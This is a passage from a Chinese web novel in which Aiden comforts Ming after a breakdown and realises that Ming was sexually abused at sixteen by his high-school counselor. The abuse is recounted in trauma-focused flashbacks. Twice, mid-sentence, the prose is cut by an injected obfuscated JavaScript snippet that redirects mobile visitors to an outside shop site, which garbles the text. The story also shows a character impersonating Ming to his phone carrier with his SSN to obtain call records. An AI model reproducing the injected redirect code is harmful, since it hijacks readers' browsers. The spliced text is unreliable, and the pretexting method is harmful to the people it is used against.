Ming就像一卷老旧的卡通胶片——那种需要画师精细地描绘出每一格人物动作和表情的细微变化的黑白电影——一帧一帧地,缓慢转过头来,他的嘴唇哆嗦着,仿佛一只受不住严寒即将死去的蛾子,当他的眼神完全与艾登对上的时候,后者只觉得自己正与一位死人对视着,Ming眼里的光——曾经他小心翼翼点燃,呵护,看着它真正将那双漆黑眸子点亮为一对熠熠发光的宝石的火光——彻底熄灭了。 上一次他瞧见那光芒黯淡下去,还是他劝说Ming选择心理学专业的时候。 就像是本能——甚至是比本能更加原始的冲动,艾登毫不犹豫地走了过去,他没有理会泰勒夫妇或者小本杰明是否还在窗后观察着他们,也没有理会这条街道上的其他居民会怎么看待这一幕,只是紧紧地将Ming搂进了自己的怀里,比上一次更紧,更毫无保留,他的一只手扶在云决明冰冷的,沾着积雪的脑袋上,温柔又不容反抗地将他推进自己脖颈与肩膀形成的温暖港湾,另一只手圈住了他结实却纤细的腰身,指头能清楚地感受到层层叠叠衣服下遮掩的曲线,他们的胸膛紧紧贴着,一急一缓的两个心跳像交替锤在铁路上的沉闷重击,带着尘土飞扬的沙沙回响。Ming的恐惧与颤栗像传染病一般透过肌肤感染着艾登全身上下的每一个细胞,全身的重量都压在他身上,呼吸微弱得几不可察,他感到自己抱着的不是一个人,而是一条即将搁浅死去的海豚,又或者是一艘马上就要耗尽燃油,信号微弱的宇宙飞船。 他瞧见了那个跌在地上,屏幕几乎摔得粉碎的手机。没事,艾登心想,我可以给Ming再买一个,无论他想要什么,我都会为他弄到。 “我在这里,Ming,不管发生了什么事。” 他轻声在他耳边说道,要抑制住亲吻Ming被冻得通红的耳垂的冲动,几乎是一件不可能的事情,但比那更不可能的是让这个句子到此结束。他想告诉Ming自己有多么爱他,黎疏眠所描绘的爱的感受在他对Ming的感情面前几乎不值一提,苍白得就像小孩子在作业本上随意涂鸦出的字句。Ming这一刻的脆弱与痛苦让他的心揪痛得如同整个世界的一切——泥土,火山,岩石,海洋,浪涛,数不尽的发现及未被发现的生物,曾被人类踏足或从未被踏足的角落,每一座历经千年建成的伟大城市,每一个微不足道的小小生命,全都尽数碾压在他的胸膛上。他此刻的想法可笑又幼稚,但又纯粹地让他无法拒绝——他想用自己的爱令Ming恢复,他想用自己笨拙的描述再度燃起他眼里的光,他想成为Ming的全部且唯一的支柱与依靠。 但这一刻不属于他,也不属于他即将破口而出的表白,而是属于Ming。 “谁给你打电话了?” Ming没有说话,也没有动弹,黑暗冲撞着他睫毛与半闭眼皮形成的栅栏,即将把他整个人淹没,他迷失在茫然里。 艾登松开了扶着他的头的手,拉开了车门。Ming就像个毫无生气的人偶一样被他放在座位上,艾登摸索着替他扣上安全带,俯身拾起粉碎的手机,塞进大衣的口袋里,这才绕到驾驶座的另一边。 艾登一路开得很快,好在约州高速公路上几乎不会有警察路过,也没有测速摄像头,不管速度飙升到多高都没人在乎。两个半小时的路程,他只花了一个半小时就到家了,等他停在车道上准备熄火的时候,车子的引擎温度吓人地高,轮胎也在寒冷的空气中微微冒着烟,但艾登顾不了那么多,他打开副驾驶的车门,刚想把Ming抱进家里,一触手却发现他的额头烫得惊人,吓了一大跳。 “别打911。” Ming好像完全知道艾登此刻在想什么一样,他的眼皮轻微地颤动了一下,极其微弱的声音从艾登的外套下传来——在等一个红绿灯的时候,不放心的艾登把自己的外套脱下来披在了他身上,车上的暖气开得很足,但那时Ming的手仍然冷若寒冰。 “这是心理性发热,”他继续断断续续地说着,似乎不需要艾登接着追问也知道该怎么回答他心中冒出的疑惑,“退烧药对我不会起作用……让我躺一会……” Ming的手心里全是冷汗,额头很烫,四肢却湿冷得像一截刚从沼泽里拖出的腐木,艾登轻松就将他抱了起来,感觉他还不如自己平时健身时使用的杠铃重。关车门,开门,用脚推开兴奋得不行的洛克希,上楼,进房间,脱衣服,艾登的动作轻柔迅速,他心中此刻只有焦急,赤身倮体的Ming也无法激起一丝青欲,他拿来了一套新的睡衣——也是他送给Ming的圣诞礼物之一,洗了还没来得及穿——给Ming换上,再给他盖上厚厚的被子,房间里的暖气是一直开着的,但艾登不放心地又往上调了几度。 这时候,他才有时间把手机中的电话卡换到他自己的手机上,并打电话给T-mobile装作是Ming本人查询通话记录。他知道Ming的生日,知道他的社会安全号码,他的信用卡也被艾登从钱包里翻了出来,有了这些信息,T-mobile的客服不疑有他,直接便告诉了他最后一个打给Ming的号码。 是艾莉。 他迅速回拨了过去。 “Hi!”艾莉轻快的声音从手机另一头传来,“是Ming吗?你的手机是没电了才拿我哥的手机打给我吗?怎么说着说着你就没声了?我还奇怪呢——” “你跟Ming说了什么?” “艾登?” “你跟Ming说了什么?” “没说什么啊,怎么了,发生什么事了?我从来没听过你这么愤怒——” 艾登深吸了一口气,他过了几秒钟才意识到自己的拳头在不停地敲打着额头,但他完全感受不到骨头传来的痛苦,这持续不断的敲打反而是一种慰籍,就像朝圣路上的信徒,靠着不断地重复性无意义的动作来安抚七情六欲,真正进入超越自我的境地。他那么急切地想要成为Ming全部且唯一的支柱与依靠,却只在Ming崩溃后才发现,他其实才是那个仰仗着对方的人,他仰仗着Ming身上那种似乎永远不会被打破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041264|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的宁静与包容,他那柔和得难以察觉的坚韧撑起了艾登的整个世界,允许艾登后退一步,不再完美地扮演这个世界期待他扮演的角色,不再笨拙而毫无必要地对每一个人扮演着父亲的角色,而只是成为艾登自己。 “Ming接到你的电话以后,他就——我不知道——看上去像是恐慌发作了,”他详详细细地将Ming的症状描述了一番,“现在我让他在房间里休息。所以,你现在能告诉我你到底跟Ming说了什么吗?” 艾莉的声音隔了好几秒钟才再次响起,不知所措又担忧,完全没了平时那种吊儿郎当的讥讽语气,“我发誓我什么都没说,我和疏眠刚刚接到一个女孩的求助——在邮件上,她说她来自平原高中,我记得那儿也是Ming的母校,所以我想知道Ming是不是知道什么内幕……” “你就说了这些吗?没说别的?” “我还说了那个女孩求助的缘由——她声称她被学校里的心理咨询老师带去了一个派对,她醒来后完全不记得派对上发生了什么事,但她知道自己遭到了性侵,因此她怀疑她遭到了心理咨询老师的侵犯,但又出于对他的信任和依赖不愿意指认对方,也不愿意相信这件事。我想,如果这个心理咨询老师是个会性侵学生的人渣的话,也许Ming曾经听说过一些风声——” 高中,心理咨询老师,云决明被漆黑淹没的双眼,“你不懂。”他的声音近乎嘲弄,轻如耳语,“我不能选心理学。” 为什么不能? 如果说秦诗是促使Ming学习心理学的契机,那么什么是让他放弃心理学的契机? 他毫不怀疑Ming对心理学的喜爱,只有在说起心理学知识的时候他才会神采飞扬,口若悬河,滔滔不绝;也只有在能够运用到心理学知识的地方他才会表现得如鱼得水,进退自如——比如三言两语就攻破小本杰明的心理防线,轻而易举地就从他嘴里套出话来,Ming是一个天生的心理学大师,这一点毋庸置疑。 一个人真的可以凭借自学,在那么短的时间里就掌握大学生要经过四年专业学习,再加上三年的硕士研读时间才能掌握的知识吗?Ming说过他劝秦诗去找学校里相关的人寻求帮助,但她不愿意,如果实际上去寻求帮助的人是Ming呢? 他会说什么?一个瘦弱的,从入校第一天就饱受欺凌的男孩会对一个成年人说什么?一个会性侵自己学生的心理咨询老师又会对这么一个脆弱,敏感,长相漂亮纯净的男孩做什么?当他说起弗洛伊德的性理论时是否也隐晦地谈起了自己的性幻想?或许每一样短暂而模糊地出现过的物品都能被他扭曲成年长者对少年时光的渴望,对少年肌肤的渴望,对少年纯真的渴望。当他说起约翰·曼尼的性别认同理论的时候,也许手就漫不经心地在Ming的大腿上舞动,细致地观察着他的神色,语句里暗示着对方每一个男人心里都有可能存在着一名亟待被侵犯的女性。他是否也教导过Ming吉尔伯特·赫特所撰写的那本讲述巴布亚新几内亚性仪式的书籍,是否反反复复地将里面男孩为年长男性提供性服务那一章读了又读? 拒绝让任何人靠近,也拒绝靠近任何港口的宇宙飞船,终于选择停泊在深蓝色的房间里;在无边海洋中孤独游弋的海豚,最终冲上沙滩,搁浅在自己臂弯里。某个周一的下午,韩国甜品店里,忽然转过头来的Ming淡淡一笑,“我决定换专业了,是心理学。”谁能猜得到如此平静又祥和的结果背后藏着怎样惊心动魄的过程,Ming是克服了什么才走到今天这一步? 自己在这个过程中,可曾为他出过哪怕一分力? 艾莉的声音从地毯上传来,在电话那头焦急地呼唤着艾登的名字,微弱得像年久失修的灯塔里断断续续射出的光芒。艾登站在Ming的房间门口,透过门缝出神地望着他——他没有尖叫,没有控制不住的大哭,没有歇斯底里,没有喘不上气,就连他的恐慌发作也比大多数人安静,仿佛他的身体从一开始就已经习惯了将所有的情绪禁锢在那么一具小小的身躯中,只是从内到外静默地燃烧着无处可去的痛苦。这比怒吼着发泄出的指控还要让人无法忍受,因为这意味着他所走入的长夜甚至无法用语言所描述。 艾登关上门,转身在地毯上捡起被他摔出去的手机——他甚至不记得自己什么时候这么做了,只知道需要更换的电子设备如今变成了两台。 “艾登?艾登?你别吓我——到底出什么事了?” “我想,”他干涩而漂浮的声音立刻让艾莉闭上了嘴,“那个心理咨询老师当年性侵过Ming。” 88. Chapter·Thirty-Five 云决明一直醒着。 他听见谈话声在他耳边响起,清晰得就仿佛艾登,艾莉,还有黎疏眠三个人就站在他床头,相互窃窃私语着。但他知道这是不可能的,意识到这一点让云决明确信自己是清醒的。如果艾莉和黎疏眠真的来了,他们肯定是在楼下的客厅里商谈,八成还刻意压低了声音,以确保不会吵醒他。 然而,这的确是事实,云决明无法解释这一点,他感到自己就像梦中的幽灵,清醒地在现实中的场景穿梭着,不受阻碍地去往任何他想要去的地方——他可以自由自在地在深邃的夜色中飞翔,也可以瞬间就跨越一望无际的大海,翻过无数世纪的篇章,停留在人猿尚未学会直立行走的那一页,远离一切有人烟与记忆的角落。 可是,每次耳边的声音一响起,他就像被一个无形的钩子猛然扯住一般,从无忧无虑的意识中坠入了熟悉的黑暗中,树梢上沉睡的千只乌鸦都因为他的归来而惊起,齐齐交织展翅,干云蔽日,将他猛然压倒在办公桌上,他在那一刻就已经意识到了即将会发生什么,然而,与其立刻奋起反抗,他只是木然而顺从地趴在冰冷的桌面上,痛苦的呜咽与办公桌的吱呀声同时响起,嘎嘎,乌鸦大笑着扑腾飞去,嘎嘎,啊啊,嘎嘎,啊啊。 说到强煎案,人们最常问的问题是什么,云? 这种时候,他却可笑地在脑海里温习着前段时间学到的心理学知识。 为什么不反抗。 是的,心理研究表明有70%-80%的强煎受害者无法在强煎发生时进行有效的反抗。他推了推眼镜,露出了一个笑容——云决明惊诧于自己当时听他说话时竟然没发现这个细节,却在回想时才注意到。一个说到强煎时会微笑起来的男人为什么会值得他信任? 你知道为什么吗,云? 因为他们不敢相信这种事真的发生在了他们身上,他们的大脑无法处理这样的创伤,不得不选择关闭来保护自己。实际上,很多强煎案的受害者都描述过,他们在事发当时都有一种“漂浮感”,就像他们是在以一个第三者的角度,面无表情地注视着一切发生一般。 这段结论所有学习心理学的学生都背过,可有几个人能亲身体验? 一切结束以后,他木然而顺从地穿好了衣服,黏腻粘连着他的皮肤与棉布,混合了润滑油之后滑不溜秋,清楚地散发出一股粪便与血液的味道,这种事没有小说或漫画里描绘的那么美好,耶稣在圣经里禁止这种事是有理由的,云决明一瘸一拐地走出办公室时心想,此刻的他看上去就像是一个污秽不堪的罪人,活该与索多玛城和蛾摩拉城一块受永火的刑罚。 离开办公室的路是往上的,云决明却是在往下走,越走越黑,越走越深,越走越小,越走越缩。有两个女生诧异地从他身边经过,皱起了眉头,频频回头厌恶地打量着他。云决明没有为自己辩解,没有回以抱歉的眼神。你们怎么能确定味道一定来自于我?他想大笑着发问,漆黑的裤子遮掩了一切罪过,他的外表看不出任何不同,令他一瘸一拐的疼痛以惊人的速度消退了,步调在迈进走廊时就已经恢复了正常。就连文学作品在这一点上也会撒谎,云决明恍惚想着,人体明明恢复得如此之快,他们却要夸张地用三页纸来描绘受害者事后的痛苦不堪与生理上因此表现出的残疾,说到底作者都没有真正经历过这一切,痛苦哪来得那么快?钝刀子要割到肉也要有点时间。 艾登的声音忽地在他脑海中响起,云决明认不出那是他的声音,焦躁愤怒又嘶哑,就像没日没夜嚎了三天的孤狼,然而,仿佛他眼前有一行字幕随着话语一同闪现般,他就是能精准地知道那是艾登在说话,哪怕他此刻蜷缩在黑暗里,蜷缩在那个被他自己亲手打破的茧里,头顶着膝盖,像个初生的婴儿。 “……今天还是他的生日,老天,我都不敢想……事情发生的时候他才多大?十四岁?十五岁?十六岁?还是十七岁?不可能是十七岁,那个写邮件来求助的女孩就只有十四岁,刚刚上高一。” 十六岁,艾登,那一年他十六岁。 他张开嘴,高烧让他的舌齿干涩如莽沙所塑,云决明在说话,似乎却没有人能听见他的声音。 “……你认为我们能在不惊动对方父母的前提下带她去私人诊所做检查吗?为了确认她的确遭到了姓侵,而且还要确保她没有怀孕,或者染上什么疾病。她在邮件里说这件事是在期末考试以后发生的,那还没过多久,不知道她是否留下了证据。” “……不惊动父母很困难,甚至能不能让女孩配合我们的调查,我觉得都是一个值得商榷的问题。邮件里的那个女孩不停地否认她被心理咨询老师姓侵了这件事,尽管她描述完发生什么事情以后第一时间就写下了她的怀疑‘我觉得我被他侵犯了’,然而在邮件剩余的部分她几乎写了不下十次不同组合的‘我不相信是他侵犯了我’,我认为这个心理咨询老师对他侵犯过的学生都有一定的控制力,他让他们信任他到了一种不相信他会做任何伤害他们的事情的地步,如果是这样的话,Ming或许也曾经在他的控制之下。” 是的,没错,你说对了,疏眠,你一直都很聪明。 他瘦得就像是一只披着格子衬衫的螳螂,脸色蜡黄,永远是一副病恹恹的模样,声音虚弱而沙哑,就像喝了太多杯热气腾腾的苦咖啡和抽了太多香烟后烧出的嗓音,云决明丝毫不怀疑,只要他想,哪怕是一个十六岁少年的气力也能将对方掀翻在地,谁会对这么一个人起疑心呢? 但他很懂得微笑,云决明觉得他年轻的时候一定把《了不起的盖茨比》反反复复读了不下上千次,要不然就是菲茨杰拉德偶然间打开了时空隧道,瞥了一眼他的笑容,并从中得到了那段著名的对盖茨比笑容描写的灵感。云决明第一次瞧见他冲自己笑的时候,就想起了那段话,每一个字母在舌尖上弹跳出的意思都与他面容丝丝入扣,那个微笑能让任何来访的学生放下防备,向他倾诉出自己最深也最黑暗的秘密,只为了能瞧见那笑容再出现一次。 每个人都喜欢他,甚至是那些以霸凌别人为乐的高人气学生。 “……如果从Ming还在念高中的时候起这个老师就开始把魔爪伸向了学生,那么这么多年一定积攒了不少针对他的投诉或者是不成立的起诉,如果我可以黑进警察局的网络档案就好了……不过,我已经查到了不少他的资料,姓名……年龄……家庭住址……他未婚,毕业于维吉尼亚州立大学,在那里取得了咨询心理学的本科学位及硕士学位,后来在U大取得了认知心理学的博士学位,在一家位于约州的诊所实习并工作了四年以后应聘上了平原高中的心理咨询教师这一职位——不确定他为什么要这么做,平原高中是公立高中,给他支付的工资远远小于他在诊所当心理咨询师时的收入,诶……等等……当他来平原高中应聘的时候,他的推荐人之一,就是科尔·埃弗里。” 杰森·埃弗里的父亲? “这是什么时候的事情?” “让我看看……他1994年从U大毕业并拿到他的博士学位证书,1998年应聘平原高中心理咨询教师的职位。” “1998年,还有1997年有其他高中招聘心理咨询教师这一职位吗?” “我需要花一点时间找一下。” “你怎么看这件事,艾登?” “唯一的解释就是他们不知怎么地在现实中遇到了,并且成为了朋友。否则的话,洲际警察局局长怎么可能会成为一个心理咨询师的推荐人?这让我怀疑科尔是特意将这个人安插在平原高中当心理咨询师的,虽然我暂时没有证据证明这一点,也不清楚为什么这个高中对他来说如此重要……但我知道这事绝对不会简单。” 谈话突然中止,沉默给一切罩上乌黑的奠布,脚下的浪花层层浮起,拍打着砂砾,过了很久云决明才意识到那并不是海潮回响,而是沉缓的脚步声。艾登在床边坐下,云决明感到他俯下身来,亲吻着自己的额头。 这一定是梦境。 “我要怎么做才能让你醒来,”吻随字句落在眼皮上,脸颊上,鼻尖上,睫毛上,温情得让云决明情不自禁地颤抖起来。也许这并非是梦境,也许他一直以来都明白艾莉和黎疏眠在暗示什么,也许他比任何人都要更敏锐,更早地意识到了事实。他只是不停地给自己找着借口,因为没人会真的爱上他,即便真的有一瞬间短短炸开的火花,也会转瞬熄灭,自己仍然是那个被抛弃在黑暗中的孩子,“你是在等待我给你真爱之吻吗,Ming?” 不,艾登,不是的。 真爱之吻之于他来说是不存在的事物,因为决定这个吻的先决条件就是不可能发生的事。 他昏迷是因为心理性发热带来的高烧会使他的身体进入休克状态,他不愿醒来是因为他不知道要如何向艾登讲述他的过去。 “我为什么没能早点认识你,”充满自责的声音在云决明前额响起,他被圈在一个温暖的怀抱中,好似艾登爬上了他的床,在被子下紧紧地将他搂抱在臂弯里,带着青茬的下巴蹭着他的头发,有力的心跳顺着枕头遁入他的耳朵,“如果有我在,这些都不会——” 艾登总是喜欢这么说,他总是有一种迫切地需要去保护别人的冲动,不是自己,就是艾莉,但有些情节是不会因为一两个角色的提前出场就有所改变的。 从云决明作为一个没人想要的孩子而被生下来的那天起,这一切就是注定发生的。 只要主动走进那间办公室的云决明,仍然是同一个十四岁的云决明,那么认识艾登也无法扭转他接下来的命运。 讽刺的是,那天天气很好,就连那间设在地下的办公室也充斥着从地表泄入的阳光,云决明记得自己走进办公室时还被阳光刺激得倒退了一步,好不容易适应光线的双眼刚睁开,就瞧见了那个让人心旷神怡,内心舒坦的笑容,“你想必就是跟我约好了四点钟见面的学生吧,云,是吗?” 他喜欢这么称呼自己,于是以后云决明都坚决要求别人喊他为“Ming”,哪怕是杰森这样的种族歧视者也一样。 “我这还从来没有过任何一个华裔学生拜访呢,”他太懂了,他太明白如何让一个十几岁的孩子觉得自己是特殊的,觉得自己是与众不同的,那恰好又是每一个那个年纪的少年最想要得到的认同,“我猜他们都不明白心理学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041265|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的意义,也不明白心理学能为他们做些什么,我能看得出,你比他们都要早熟得多。所以,有什么是我能为你做的吗,云?” 他拉开椅子坐下了,原本只打算拜访一次的心理咨询时间变成了每周三固定的见面,接着又增加了周五,时间从半个小时增加到一个小时,再增加到两个小时。椅子的距离从一开始能容纳他舒服地在办公桌前翘起二郎腿,到他的膝盖紧紧顶着黑胡桃木的桌挡,双手撑在桌边,最后到他肩并肩地与对方坐在办公室里那张舒适的小沙发上。从一开始只是需要一个可供发泄的对象,到教导自己心理学知识,培养自己成为心理咨询师的导师,再到如同父亲般,值得他信任,值得他爱戴,值得他全身心地依赖,值得他寻求对方的保护,让云决明充满希望,以为他能再度点燃自己心中灰烬的引路人。 云决明一开始只是谨慎地讲述了秦诗给自己带来的压力,抱怨自己无法承受她越来越严重的自残行为,小心地提到了学校里的霸凌行为,他不打算谈论自己的过去,也不打算谈论自己的家庭。然而接下来发生的一件事改变了一切,他与秦诗所遭受的霸凌行为突然减少了许多——尽管他后来才意识到那只是意味着霸凌者不情不愿地将实际行动转为了网络上的语言暴力,但在当时于他确实是一个天大的人情。从那天起他便不再有所保留,所有的不堪与苦痛尽数倾泻,那间躲藏在地下的宽敞办公室成了唯一能让他愉快放松的乐园。 然而在学校的见面次数终究是有限的,于是,渐渐地,老师在周末将云决明约出来一块喝咖啡,“我能为你预留的空余的预约时段不多,但我不介意为你预留出一些额外的校外时间。”他笑眯眯地说道,“如果我跟你见面见得太频繁,就证明你的心理上存在的问题很严重,必须得将你转到校外专门的心理咨询机构去——我知道那些机构都是什么样的,他们几乎没有与青少年打交道的经验,他们不懂得该如何照顾你,不会明白你需要的只是一个能够倾听你烦恼的人。他们会对你的继父提出起诉,他们会把你的家庭生活搅得一团糟,他们永远都不会像我这样了解你。” 云决明相信了他的鬼话,尽管他那时候学到的所有知识都在尖叫着警告他——没有哪个拥有职业道德的心理咨询老师会与学校的学生保持这么亲密的关系,更不会在咨询以外的时间与学生单独相处。他早就学到了与移情有关的心理学知识,却有意无意地忽视了自己表现出来的那么多明显的征兆,他太需要一个能充当父母角色的客体,他太渴望一个真正关爱自己的长辈,他太想在异国他乡找到那么一点微薄的归属感,只要对方的谎言还足够真实,足够维持表面师友生恭的假象,他也就满足了。 事情是什么时候变味的,云决明说不清,但他知道告诉对方继父对自己做了什么绝对是其中的一个原因,从那时起对方就开始有意无意地操纵自己的记忆。“所以说,其实你当时还是能感觉到一点快感的,对吧?”他有一天冷不丁地询问道,“你讲起那些事情的事情,似乎并没有表现得有多么歇斯底里,会不会也有这一部分的原因呢?” “不,”云决明记得自己当时的嗓音非常冰冷,他很愤怒,却不敢也不愿向对方发泄出来,“我能平静地讲述整件事因为我知道他对我的侵犯与欲望无关,他只想通过这种最极端的方式毁灭我的尊严和我的人格,让我成为一个只懂得唯唯诺诺,永远不敢反抗他的继子。他想掌控我,而不是占有我。只要我知道这一点,他的所作所为就不可能伤害我,我也不会因此而感到我被伤害了——被狗咬了,最多就是这样。” 能够真正伤害到他的,只有他爱着的人,和他爱着的人对自己的苦痛无动于衷的态度。 “噢,是吗?”对方仍然笑眯眯的,那笑容回想起来让云决明不寒而栗,或许那时候他已经开始计划一切,他想知道如果由他来实施侵犯,自己是不是还能这么冷静,这么理智地去分析他行为背后的动机与想法,是否还能保持刀枪不入的心理状态,“真难得你能把事情看得这么清楚,没有几个人能做到这一点,我甚至觉得可以肯定地说没人能做到这一点,你坚强得超乎我的想象。” 但却没能超出他的控制。 心理学的教科书上说,遭受了强煎的女性,可能需要三个月到半年的时间才能意识到这件事带给自己的伤痛,她们可能在事情发生过后的很长一段时间里正常地工作,学习,生活,然后在某个平静日常的时刻突然精神崩溃。 男性呢? 书上没说。 于是,云决明一直等待着那一刻的到来。当他走出办公室的时没有精神崩溃;当他平静地开车回家,在浴室里咬着毛巾脱下已经被牢牢粘在皮肤上的内裤时没有精神崩溃;他换上一套干净的衣服与母亲共同吃晚饭时没有精神崩溃;他吃完饭给秦诗发信息说他从此以后再也不会与她见面,与她发消息,与她打电话,与她有任何形式上的来往时也没有精神崩溃;他倒在床上,感受着余烬中的温度慢慢熄灭,意识到自己已被推落深渊,烟灰滚满全身,肮脏得如同一只腐臭死掉的乌鸦时,也没有精神崩溃。 直到三年后,在艾登的怀里,这一刻终于降临。 89. Chapter·Thirty-Six 开学已经一个星期了。 老实说,艾登和Ming的生活本质上没有太大的改变。 这学期艾登决定回学校正常上课,因此他们又回到了照常的“上学——甜品店——回家”惯例中,不变的其他惯例还有艾登每天都会为Ming做的那一顿大餐,以及每个星期二和星期四的晚上Ming的补习时间。这学期他们都不必继续上统计学课了,因此艾登假装自己在偏见与冲突这门心理学课上需要Ming的帮助——其实他不需要,这只是一个借口让Ming能继续与他共同分担房租。Ming坚持要出之前支付给海鲜东来酒楼女侍应生的那笔“信息费”,艾登不得已之下给他写了张借条,心知自己要是不继续请他当自己的补习家教,Ming就得出去找一份工作了,但他这学期选了七门课,想要在保持每门的成绩为A的前提下保证每个月有两千美金的收入,好一边分期还债一边承担房租,是几乎不可能的,艾登也舍不得让他那么辛苦。 唯一的改变,是Ming几乎不再说话了。 就像他们之前相处的整整一年完全不存在,他们共同经历的一切也不曾发生过,Ming又恢复了艾登刚刚认识他时的那种冷漠疏离的态度,拒绝让任何人接近,也拒绝接近任何人——包括艾登。 “所以,他还是那样吗?” 星期天的一大早,他刚为艾莉和黎疏眠打开门,后者就立刻压低声音发问了。她们两个小心翼翼地溜进屋子,仿佛两个需要在纳粹监视下溜进安全屋的犹太人,洛克希似乎也感受到了气氛的凝重,只是轻轻呜咽着摇晃着自己的尾巴,不敢像以往那样用兴奋的嗥叫声欢迎姑娘们的作客。 “还是那样。”艾登轻声说,“早上六点半就起来了,吃了早餐以后又回到自己的房间里去了——昨天早上,我在我的电子邮箱发现了他凌晨两点给我的发的,你能相信这一点吗?如果不是他还要为我补习,我一个星期恐怕都没法与他说上话。” 他说话间挫败地挥了挥手,却在半空中精准地被艾莉捉住,“你的手,”她皱起了眉头,小心翼翼地揭开一点沾着血迹的纱布瞧了一眼,“怎么还没好?” 艾登就像被火烫了一样将手缩了回去,“遛狗的时候没注意用这只手抓了狗绳,”他说,“伤口不小心被拉迸裂了。” 他不愿意让艾莉和黎疏眠过分关注他的手伤——不仅仅是因为他对她们撒谎了他是怎么受伤的,更因为Ming完全没为此问起过一句。星期二,Ming坐在桌子前给他讲解偏见与冲突这门课的第一章,艾登受伤的右手就在距离他左手两英寸的地方,更不用说后来艾登还笨拙地用几乎拿不稳笔的手做了一个多小时的笔记。然而,Ming对此视若无睹,甚至都没有多瞧一眼。 艾登撒谎说他的手受伤是因为准备给Ming倒水喝的时候打碎了杯子,碎片划伤了他的手背,不是什么特别高明的谎言,但黎疏眠和艾莉也识趣地没有多问。事实是艾登一拳打碎了自己的台灯——非常俗气,非常狗血的发泄方式,然而却直接有效,瞬间涌出的鲜血和随之而来的剧烈疼痛让艾登得以冷静了下来,他向来自诩自己脾气绅士克制,从未想过自己有控制不住自己怒气的一天,也从未想过他要靠如此原始的方式来发泄自己的情绪。 然而,当被他紧紧抱在怀里的Ming精神崩溃的时候,艾登的自控也随之溃堤。 意识到真相的瞬间其实很短暂,回想时又觉得很漫长,艾登觉得自己在泰勒夫妇门前将Ming搂进怀里时就已经明白了一切,然而,过了很久——整整一天——以后,当他无法忍受客厅里的死寂——艾莉在电脑上寻找着信息,黎疏眠若有所思的沉默着——艾登才真正开始思考Ming究竟经历了什么,从他有限地说起过去的每一个字推敲起来,又倒着梳理一遍,就像试图在地毯上用顺毛和逆毛的方式拼凑出一副有意义的图画。 霎时间,一个很小的细节就像路边突然弹起的小石子一般击中了他——许久以前,他们去游乐园玩的时候,云决明差一点点就要提起平原高中的心理咨询老师,然而,与其说出那几个字,沉默许久后再开口的他选择了一个更为拗口的方式表达他的意思。 “让她去找学校里相关的人寻求帮助,” 他连“心理咨询教师”几个字都说不出。 艾登悄悄离开了客厅,没人发现他离开了,或者说,即便艾莉和黎疏眠发现他离开了,她们也不会主动来寻找他。他垫着脚走上楼梯,用非常滑稽的动作缓慢打开了Ming房间的门,然后钻进被子,紧紧将滚烫的他搂入自己的臂弯,带着青茬的下巴蹭着他的头发,Ming微弱的心跳顺着枕头遁入他的耳朵。 艾登明白的事实不仅仅只有Ming的遭遇这一点,一旦他玩味和调皮的心态被这突如其来的悲痛一扫而光,另一些被他忽略的真相就像日光下近乎透明的树叶脉络般清清楚楚,每一点细枝末节都无法从视线中逃脱——黎疏眠不是他的情敌,从来就不是,也没有所谓的喜欢,Ming真正产生了感情的人是自己,只可能是自己。他在用小蛋糕试探Ming的时候就该明白这一点,爱是最藏不住的感情,一个心里有另一个女孩的男孩如何会对另一个男孩害羞?然而,他当时更关注的是自己的感情,也大意地让醋意左右了他的判断。 既然已经明白了这一点,艾登再无顾虑。 “我要怎么做才能让你醒来,”他叹息着,轻柔得好似在试图唤醒一个婴儿,吻随字句落在眼皮上,脸颊上,鼻尖上,睫毛上,眉毛上,额头上,鬓发上,在艾登心中,此刻他们与恋人无异,他只是将嘴唇留到一个更有纪念意义的时刻再摘採。“你是在等待我给你真爱之吻吗,Ming?” 他把他往怀里更深处按了按,从床外看,人们只会以为床上躺了一个人,Ming完全被艾登圈在自己的温暖的躯壳包围中。 “我为什么没能早点认识你,”他越说越觉得这句话是如此苍白,泪水忽地涌出,咸涩带来的刺痛让他不由自主地闭上眼睛,“如果有我在,这些都不会——” Ming就是在那时崩溃的。 就仿佛从漫长的噩梦中惊醒,他剧烈地颤抖起来,无声地剧烈号叫着,艾登能听见嘶嘶的尖利风声从他大张的嘴里发出,每一声都如同一把飞出的刀子划在艾登身上,黑黢黢的口腔内部恍若不见底的深渊,痛苦如熔岩般从中喷射出来,艾登从被子下挣脱出来,向后一仰,仿佛在躲避看不见又切实存在的,无法用科学解释的某种东西——上千只漆黑翅膀的乌鸦,交织振翅飞出,干云蔽日——随即他又连滚带爬地扑上去,将那瘦弱的身躯拉进自己怀里,他不知道自己原来力气那么大,也不知道Ming原来力气那么小,似乎他全部的气力实际上都藏在心里,用以抵御随时可能席卷而来的苦痛。艾登轻而易举地就制住了Ming,他心惊胆战地等了许久,才瞧见他缓缓地睁开了双眼,闭上了嘴巴。 Ming醒了,艾登却一点也不觉得欣慰。 “我想喝水。”他软得似一袋水泥,冷得如同一座倒卧下去的冰山,眼神涣散,刹那间艾登只觉得自己抱着一位陌生人。 “好。”他机械地松开了手,机械地站起了身,但他没有立刻向楼下走去,而是转身走进了自己房间,关上了门。 几秒钟后,他举着用染血毛巾裹住的右手走进了厨房。感到自己胸膛处有个拳头大小的黑洞,永不歇止地回放着Ming无声却又撕心裂肺的号叫。 